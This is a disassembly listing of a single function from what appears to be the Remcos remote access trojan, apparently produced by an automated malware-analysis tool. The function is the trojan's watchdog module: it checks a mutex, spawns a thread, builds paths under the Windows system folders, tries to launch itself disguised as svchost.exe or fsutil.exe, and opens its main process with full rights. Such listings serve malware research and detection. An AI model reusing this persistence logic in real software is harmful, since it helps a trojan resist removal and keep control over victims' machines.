Function at 0x412045
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ebx, 0x4752f0
push 0x4673a4
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.004137c5
pop ecx
pop ecx
test al, al
jne 0x412081
xor eax, eax
inc eax
jmp 0x41231c
mov ecx, 0x475418
call fcn.00401fab
push eax
xor edi, edi
push edi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x412127
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
mov ecx, esp
push str.Remcos_restarted_by_watchdog_
call fcn.00402093
sub esp, 0x18
mov esi, 0x465fa4
mov ecx, esp
push esi
call fcn.00402093
call fcn.0041b441
add esp, 0x18
mov ecx, esp
push str.Watchdog_module_activated
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402093
call fcn.0041b441
add esp, 0x30
push edi
push edi
push edi
push 0x41273c
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x10]
mov esi, 0x46c4e4
push eax
push esi
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.00413497
pop ecx
pop ecx
test al, al
je 0x412079
jmp 0x41235e
lea ecx, [esp + 0x50]
call fcn.004020df
mov ecx, 0x4752d8
call fcn.00401f04
lea edx, [esp + 0x50]
mov ecx, eax
call fcn.0041c3d7
lea ecx, [esp + 0x38]
call fcn.00401f86
call fcn.0041bf09
test al, al
jne 0x4121af
push 0x46c4e8
lea ecx, [esp + 0x84]
call fcn.0040417e
push eax
push str.WinDir
call fcn.0043c01f
pop ecx
push eax
lea ecx, [esp + 0x70]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.00402fa5
pop ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.00401f13
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x68]
call fcn.00401f09
lea ecx, [esp + 0x80]
jmp 0x412205
push str.SysWOW64_
lea ecx, [esp + 0x24]
call fcn.0040417e
push eax
push str.WinDir
call fcn.0043c01f
pop ecx
push eax
lea ecx, [esp + 0x70]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x84]
call fcn.00402fa5
pop ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.00401f13
lea ecx, [esp + 0x80]
call fcn.00401f09
lea ecx, [esp + 0x68]
call fcn.00401f09
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x14]
call fcn.0040c903
push str.svchost.exe
lea ecx, [esp + 0x24]
call fcn.0040417e
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.004127cb
lea ecx, [esp + 0x20]
call fcn.00401f09
push str.rmclient.exe
lea ecx, [esp + 0x24]
call fcn.0040417e
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.004127cb
lea ecx, [esp + 0x20]
call fcn.00401f09
push str.fsutil.exe
lea ecx, [esp + 0x24]
call fcn.0040417e
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.004127cb
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x14]
call fcn.004021fa
test eax, eax
je 0x4122cc
push 0x472d64
lea ecx, [esp + 0x54]
call fcn.00401fab
push edi
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.00418041
pop ecx
test al, al
jne 0x412325
lea ecx, [esp + 0x14]
inc edi
call fcn.004021fa
cmp edi, eax
jb 0x41228f
sub esp, 0x18
mov ecx, esp
push str.Watchdog_launch_failed_
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b441
add esp, 0x30
push dword [0x472d74]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.00406adc
lea ecx, [esp + 0x38]
call fcn.00401f09
lea ecx, [esp + 0x50]
call fcn.00401fd8
push 3
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
sub esp, 0x18
mov ecx, esp
push str.Watchdog_module_activated
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b441
add esp, 0x30
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x472d6c]
jmp 0x412387
push dword [esp + 0x10]
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
mov ecx, ebx
mov dword [0x472d64], eax
call fcn.00401fab
mov edx, eax
call fcn.004138f7
pop ecx
mov ecx, dword [esp + 0x10]
call fcn.0041238d
int3